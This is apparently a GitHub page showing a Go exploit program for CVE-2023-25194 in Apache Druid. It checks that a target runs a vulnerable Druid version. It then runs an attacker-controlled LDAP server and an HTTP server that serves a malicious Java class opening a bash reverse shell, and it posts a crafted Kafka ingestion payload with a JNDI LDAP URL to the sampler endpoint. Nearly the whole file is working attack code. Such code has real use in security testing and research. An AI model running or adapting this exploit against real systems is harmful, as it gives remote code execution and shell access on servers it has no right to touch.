-
Notifications
You must be signed in to change notification settings - Fork 0
/
cve-2023-25194.go
183 lines (151 loc) · 5.42 KB
/
cve-2023-25194.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
package main
import (
"fmt"
"regexp"
"strconv"
"strings"
"time"
ldap "github.com/vjeantet/ldapserver"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/java/ldapjndi"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
)
var (
globalLDAPAddr string
globalLDAPPort int
globalHTTPAddr string
globalHTTPPort int
)
type KafkaJNDI struct{}
func (sploit KafkaJNDI) ValidateTarget(conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPGetCache(url)
if !ok {
return false
}
const title = "<title>Apache Druid</title>"
if resp.StatusCode != 200 || !strings.Contains(body, title) {
return false
}
return true
}
func (sploit KafkaJNDI) CheckVersion(conf *config.Config) exploit.VersionCheckType {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPGetCache(url)
if !ok {
return exploit.Unknown
}
const title = "public/web-console-"
if resp.StatusCode != 200 || !strings.Contains(body, title) {
output.PrintDebug("CheckVersion failed. Missing include.")
return exploit.Unknown
}
re := regexp.MustCompile(`public/web-console-(\d+\.\d+\.\d+).js`)
res := re.FindAllStringSubmatch(body, -1)
if len(res) == 0 {
output.PrintDebug("Failed to extract the Druid version.")
return exploit.Unknown
}
versionArray := strings.Split(res[0][1], ".")
if len(versionArray) != 3 {
output.PrintDebug("Unexpected Druid version number")
return exploit.Unknown
}
exploit.StoreVersion(conf, res[0][1])
major, _ := strconv.Atoi(versionArray[0])
minor, _ := strconv.Atoi(versionArray[1])
point, _ := strconv.Atoi(versionArray[2])
if major < 26 || (major == 25 && minor == 0 && point == 0) {
return exploit.Vulnerable
}
return exploit.NotVulnerable
}
func (sploit KafkaJNDI) RunExploit(conf *config.Config) bool {
if len(globalLDAPAddr) == 0 {
output.PrintError("An LDAP server bind address must be provided. Quitting.")
return false
}
if len(globalHTTPAddr) == 0 {
output.PrintError("An HTTP server bind address must be provided. Quitting.")
return false
}
// create the LDAP server and set it running on a background thread
randomEndpoint := random.RandLetters(8)
ldapServer := ldapjndi.CreateLDAPServer(randomEndpoint)
ldapServerFunc := func(ldapServer *ldap.Server, host string, port int) {
output.PrintfStatus("Starting LDAP server on %s:%d", host, port)
_ = ldapServer.ListenAndServe(host + ":" + strconv.Itoa(port))
}
go ldapServerFunc(ldapServer, globalLDAPAddr, globalLDAPPort)
// give it a couple to get going
time.Sleep(2 * time.Second)
// set payload to http reverse shell. This spawns an HTTP server that will
// direct the victim to download a malicious Java class, which will initiate
// the reverse shell. The current implementation is Linux only (bash)
ldapjndi.SetLDAPHTTPClass(ldapjndi.HTTPReverseShell, conf.Lhost, conf.Lport, globalHTTPAddr, globalHTTPPort)
httpPayload := fmt.Sprintf(`{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"%s:%d",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://%s:%d/%s\" useFirstPass=\"true\" group.provider.url=\"\";"
},
"topic":"%s",
"inputFormat":{
"type":"regex",
"pattern":"(.*)",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"%s",
"timestampSpec":{
},
"granularitySpec":{
}
}
}
}`, conf.Rhost, conf.Rport, globalLDAPAddr, globalLDAPPort, randomEndpoint, random.RandLetters(8), random.RandLetters(8))
headers := map[string]string{
"Content-Type": "application/json",
}
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/druid/indexer/v1/sampler?for=connect")
resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, httpPayload, headers)
if !ok {
return false
}
const json = `{"error":"Unable to create RecordSupplier: User not found"}`
if resp.StatusCode != 400 || body != json {
output.PrintfError("RunExploit failed: resp=%#v body=%q", resp, body)
return false
}
output.PrintStatus("Exploit completed")
return true
}
func main() {
supportedC2 := []c2.Impl{
c2.SimpleShellServer,
c2.SSLShellServer,
}
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true},
config.CodeExecution, supportedC2, "Apache", []string{"Druid"},
[]string{"cpe:2.3:a:apache:druid"}, "CVE-2023-25194", "HTTP", 8888)
conf.CreateStringVarFlag(&globalLDAPAddr, "ldapAddr", "", "The address LDAP should bind to")
conf.CreateIntVarFlag(&globalLDAPPort, "ldapPort", 10389, "The port for the LDAP server to bind to")
conf.CreateStringVarFlag(&globalHTTPAddr, "httpAddr", "", "The address LDAP should bind to")
conf.CreateIntVarFlag(&globalHTTPPort, "httpPort", 8080, "The port for the HTTP server to bind to")
sploit := KafkaJNDI{}
exploit.RunProgram(sploit, conf)
}